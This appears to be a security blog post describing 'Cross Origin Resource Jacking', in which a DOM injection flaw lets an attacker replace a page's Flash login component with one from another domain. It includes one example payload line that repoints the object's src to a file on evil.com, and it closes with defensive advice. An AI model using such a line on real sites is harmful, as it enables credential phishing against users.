CSRF and UI Redressing (Click/Tab/Event Jacking) attack
vectors are popular ways to abuse cross domain HTTP calls and events. HTML5, Web
2.0 and RIA (Flash/Silverlight) applications are loaded in browser with native
state or using plug-ins. DOM used to be an integral part of the browser and now
it is becoming even more important aspect with reference to web applications.
Web applications are using DOM in very complex and effective way to serve their
client better and leveraging all possible features allowed by DOM specifications.
There are many applications run as single DOM app and once
it gets loaded, it remains in scope across the application life cycle. CORS and
SOP have to play critical role in protecting Cross Origin Resources and control relevant
HTTP calls. HTML5 and RIA applications are having various different resources like
Flash files, Silverligh, video, audio etc. These resources are loaded in their
own little object space which is defined by specific tag. These resources are
accessible by DOM and can be manipulated as well. If DOM is forced to
change underlying resource on the fly and replaced by cross origin/domain
resource then it causes Cross Origin Resource Jacking (CROJacking).
Example,
Let’s assume there are two domains – foobank.com and
evil.com. Foobank application is having flash driven application and it has its
own login swf (login.swf) file. This flash component is loaded via object in
the browser. If by DOM call this login.swf file is replaced by similar file
residing on evil.com then it will cause CORJacking and user would be under
impression that he/she is using foobank.com resources. Also, reverse would be
possible as well. Evil.com loads resources residing on Foobank.com domain and it
will cause reverse CORJacking.
Here is a small DEMO of CORJacking with Flash resource.
Here is a small DEMO of CORJacking with Flash resource.
Here is the object tag loading flash component
HTML page is loaded in the browser and this object which is
coming from foobank.com domain is being loaded. Assuming this page has DOM
based issue and possible to inject/manipulate this value. Hence, if we want to
access src of this object tag then through DOM we get its access.
Interestingly document.getElementsByName(‘Login’).item(0).src
is not just read only value, one can assign a cross origin resource to it on
the fly.
Hence, below line will actually change the resource and
loads login.swf file from evil.com domain.
document.getElementsByName(‘Login’).item(0).src = ‘http://evil.com/login.swf’
This will clearly hijack the resource and user will be under
impression that it is negotiating with foobank’s login component but actual
component is from evil domain. This is the case of CORJacking and reverse can
be done as well. Evil domain can load Foobank component and causes reverse
CORJacking.
Since browser is allowing these Cross Origin Resource access
one needs to embed defense in similar way we are doing for ClickJacking.
Before component being loaded, component should have sense of domain and
disallow its execution on cross domain as far as reverse CORJacking is concern.
For CORJacking one needs to lock object using JavaScript, controlling stream
and avoid DOM based injection issues to stop CORJacking exploitation.
[Note – This type of loading is not restricted to one type
of resource only, it is applicable to different types of resources and browser's ability to process cross origin resource loading. It is possible to create
various different variants of these attack vector like flashjacking, silverlightjacking,
mediajacking etc. inherited from UI redressing family - interesting area for research, will add a paper on it soon.]